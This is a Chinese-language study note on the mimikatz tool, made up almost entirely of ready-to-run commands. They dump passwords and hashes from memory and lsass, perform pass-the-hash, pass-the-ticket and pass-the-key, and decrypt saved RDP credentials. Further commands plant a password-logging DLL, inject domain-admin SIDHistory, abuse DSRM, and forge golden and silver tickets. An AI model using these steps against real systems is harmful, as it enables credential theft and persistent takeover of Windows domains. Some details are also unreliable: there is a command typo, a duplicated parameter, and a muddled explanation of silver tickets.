前言
mimikatz学习笔记
下载依赖
1 2 3
| certutil -urlcache -split -f https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip "C:\Program Files\7-Zip\7z.exe" x mimikatz_trunk.zip -omimikatz cd mimikatz
|
启动mimikatz控制台
Windows x32
1 2 3 4 5 6 7 8
| .#####. mimikatz 2.2.0 (x86) #19041 Sep 19 2022 17:43:26 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz #
|
Windows x64
1 2 3 4 5 6 7 8
| .#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz #
|
启动mimikatz控制台后立即执行命令
- 可以在启动mimikatz控制台后立即执行多条命令
1
| .\mimikatz.exe <cmd_1> <cmd_2>
|
退出mimikatz控制台
输出到控制台
1
| mimikatz privilege::debug
|
输出到日志文件
抓取内存中的密码
1
| mimikatz sekurlsa::logonpasswords
|
通过ProcDump导出内存的数据再抓取密码
- 如果Windows打了补丁KB2871997,关闭了Wdigest功能,不能直接抓取内存中的密码
- 如果系统为Windows10及以上或WindowsServer2022R2及以上,内存缓存默认禁止保存明文密码,不能直接抓取内存中的密码
- 可以通过ProcDump先导出内存的数据,再通过mimikatz抓取密码
下载依赖
Windows
1 2
| wget https://download.sysinternals.com/files/Procdump.zip Expand-Archive -Path "Procdump.zip" -DestinationPath "Procdump"
|
导出lsass.exe进程存储在内存中的文件
lsass.exe:进程的可执行文件
lsass.dmp:导出后的文件
1
| .\procdump64.exe -accepteula -ma lsass.exe lsass.dmp
|
载入lsass.dmp文件到攻击者系统内存
1
| mimikatz "sekurlsa::minidump lsass.dmp"
|
在攻击者系统抓取密码
1
| mimikatz "sekurlsa::logonPasswords full"
|
PTH(Pass The Hash)
抓取密码Hash
1
| mimikatz sekurlsa::logonpasswords
|
- 如果目标是Win7以下的系统,需要获取
LM的值
- 如果目标是Win7及以上的系统,需要获取
NTLM的值
发送CMD命令
/domain:<domain>:指定域名,如果不是域用户,则指定主机名
/user:<username>:指定用户名
/ntlm:<hash>:指定上一步骤获取的密码哈希值,根据系统选择LM或NTLM
/run:"cmd.exe /c <cmd>":定义要指定的CMD命令,如果没有指定则默认在目标系统中打开CMD窗口
1
| mimikatz sekurlsa::pth /domain:<domain> /user:<username> /ntlm:<hash> /run:"cmd.exe /c <cmd>"
|
PTT(Pass The Ticket)
利用kekeo根据密码Hash生成凭据(可选)
导出凭据
1
| mimikatz sekurlsa::tickets /export
|
导入凭据
<file>.kirbi:上一步骤导出的凭据
1
| mimikatz kerberos::ptt <file>.kirbi
|
建立连接
PTK(Pass The Key)
- 必须在安装了KB2871997补丁且禁用了NTLM的时候才可以使用Key进行登录
抓取密钥
1
| mimikatz sekurlsa::ekeys
|
发送CMD命令
/domain:<domain>:指定域名,如果不是域用户,则指定主机名
/user:<username>:指定用户名
/aes256:<aes256>:指定上一步骤获取的aes256_hmac的值
/run:"cmd.exe /c <cmd>":定义要指定的CMD命令,如果没有指定则默认在目标系统中打开CMD窗口
1
| mimikatz sekurlsa::pth /domain:<domain> /user:<username> /aes256:<aes256> /run:"cmd.exe /c <cmd>"
|
Kerberos凭据
查看凭据
导出凭据
1
| mimikatz kerberos::list /export
|
RDP凭据
查看保存的凭据
获取credentials文件名
1
| dir /a %UserProfile%\appdata\local\microsoft\credentials\*
|
1
| 2012/12/12 12:12 382 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
通过mimikatz获取credentials文件中记录的guidMasterKey值
1
| mimikatz dpapi::cred /in:%LocalAppData%\microsoft\credentials\XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
1 2
| **BLOB** guidMasterKey : {XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}
|
通过mimikatz获取guidMasterKey对应的MasterKey值
1
| mimikatz sekurlsa::dpapi
|
1 2 3
| [00000000] * GUID : {XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX} * MasterKey : XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
通过mimikatz解密MasterKey值得到RDP存储的密码
1
| mimikatz dpapi::cred /in:%LocalAppData%\microsoft\credentials\XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX /masterkey:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
1 2 3
| **CREDENTIAL** Username : <username> CredentialBlob : <password>
|
权限维持
- 每当登录Windows时,会将明文密码记录到
C:\Windows\System32\mimilsa.log文件中
重启系统之前记录密码到文件
重启系统之后记录密码到文件
mimilib:DLL文件名
1
| reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
|
将mimikatz作为域控管理员密码
- 将mimikatz作为域控管理员密码写入到内存,重启后失效
建立连接
1
| net use \\<domain>\ipc$ "mimikatz" /user:<domain>\Administrator
|
给予域内用户域管理员权限
- 将域内用户的SIDHistory修改为域管理员的SID
<username>:域内用户名
1 2
| mimikatz sid::patch mimikatz sid::add /sam:<username> /new:administrator
|
- 此时域内用户保留了域管理员权限,同时不改变当前的SID
利用DSRM目录服务恢复模式
获取krbtgt用户的NTLM哈希值
1
| mimikatz lsadump::lsa /patch /name:krbtgt
|
查看Administrator用户的NTLM哈希值
修改DSRM的密码
1
| ntdsutil: set dsrm password
|
因为krbtgt用户的密码通常不会修改
1
| 重置 DSRM 管理员密码: sync from domain account krbtgt
|
修改DSRM登录方式
-value:指定参数值
0:禁用
1:只能本地登录
2:支持网络登录
1
| New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
|
利用PTH传递攻击
<hash>:krbtgt用户的NTLM哈希值
1
| mimikatz sekurlsa::pth /domain:<domain> /user:Administrator /ntlm:<hash>
|
黄金凭据
获取任意域内需要权限维持的用户的SID
获取所有用户的NTLM哈希值
1
| mimikatz lsadump::lsa /patch
|
获取krbtgt用户的NTLM哈希值
1
| mimikatz lsadump::lsa /patch /name:krbtgt
|
制作黄金凭据
/user:<username>:指定任意域内需要权限维持的用户的SID
/sid:<sid>:指定这个域内用户的SID,不需要后缀
/krbtgt:<hash>:指定krbtgt用户的NTLM哈希值
/ticket:<file>.kirbi:定义生成的凭据文件名
1
| mimikat kerberos::golden /domain:<domain> /user:<username> /sid:<sid> /krbtgt:<hash> /ticket:<file>.kirbi
|
导入凭据文件到内存
1
| mimikatz kerberos::ptt <file>.kirbi
|
建立连接
白银凭据
- 利用域管理员用户的NTLM哈希值制作白银凭据
- 白银票据是利用CIFS文件共享服务的漏洞,所以得到的白银凭据只能用于访问文件
获取任意域内需要权限维持的用户的SID
获取域控计算机名和密码NTLM哈希值
1
| mimikatz sekurlsa::logonpasswords
|
1 2 3 4
| msv: * Username : <computername> * Domain : <domain> * NTLM : XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
制作白银凭据
/user:<username>:指定任意域内需要权限维持的用户的SID
/sid:<sid>:指定这个域内用户的SID,不需要后缀
/target:<computername>:指定域控计算机名
/target:<computername>:指定域控计算机名
/rc4:<hash>:指定域控计算机密码NTLM哈希值
1
| mimikatz kerberos::golden /domain:<domain> /user:<username> /sid:<sid> /target:<computername> /rc4:<hash> /service:cifs /ptt
|
建立连接
完成